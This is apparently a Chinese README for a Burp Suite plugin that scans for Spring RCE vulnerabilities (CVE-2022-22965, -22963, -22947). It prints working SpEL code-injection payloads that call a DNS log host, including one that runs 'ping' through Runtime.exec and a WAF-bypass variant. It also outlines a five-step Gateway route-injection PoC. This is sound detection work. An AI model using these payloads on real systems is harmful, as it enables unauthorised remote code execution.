Awesome

SpringScan Burp 检测插件

利用条件

因为这个洞上传shell还需要准确的web路径（默认在webapps\ROOT），写ssh和计划任务也需要root权限。实战中用exp去检测漏洞不太现实，所以思路转变到使用其他方法去检测漏洞的存在性。主要通过下面两种方式检测：

检测置信度：

回连检测 > 回显检测

回显检测误报率较大，可能存在漏洞但不能保证JDK版本大于等于9，可以及时捕捉到不出网的漏洞；回连检测准确率高，不适用于不出网环境。推荐在内网的环境只开启回显检测，在公网环境开回显检测和回连检测。

利用条件

两种检测方法：

通过Java自带InetAddres库：spring.cloud.function.routing-expression:T(java.net.InetAddress).getByName("xxx.dnslog.cn")回连探测（可绕过WAF拦截命令执行进行漏洞探测）
通过执行ping命令：spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping xxx.dnslog.cn")回连探测
会扫描当前URI、以及当前URI拼接默认路由/functionRouter进行漏洞探测。

该漏洞为当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求，从而远程执行任意代码。

检测方法：

两种方法判断是否是SpringGateway:
1.随机访问一个不存在的路径，根据特征Whitelabel Error Page判断是否是Spring框架(1.x/2.x);
2.直接访问/actuator/gateway/routes、/prod-api/actuator/gateway/routes，根据特征route_id判断；
3.POC分五个请求：包含恶意SpEL表达式的路由 -> 刷新路由 -> 访问添加的路由查看RCE结果 -> 删除路由 -> 刷新路由

回显检测	回连检测
Spring Core RCE (CVE-2022-22965)	Spring Core RCE (CVE-2022-22965)
Spring Cloud GateWay SPEL RCE (CVE-2022-22947)	Spring Cloud Function SpEL RCE （CVE-2022-22963）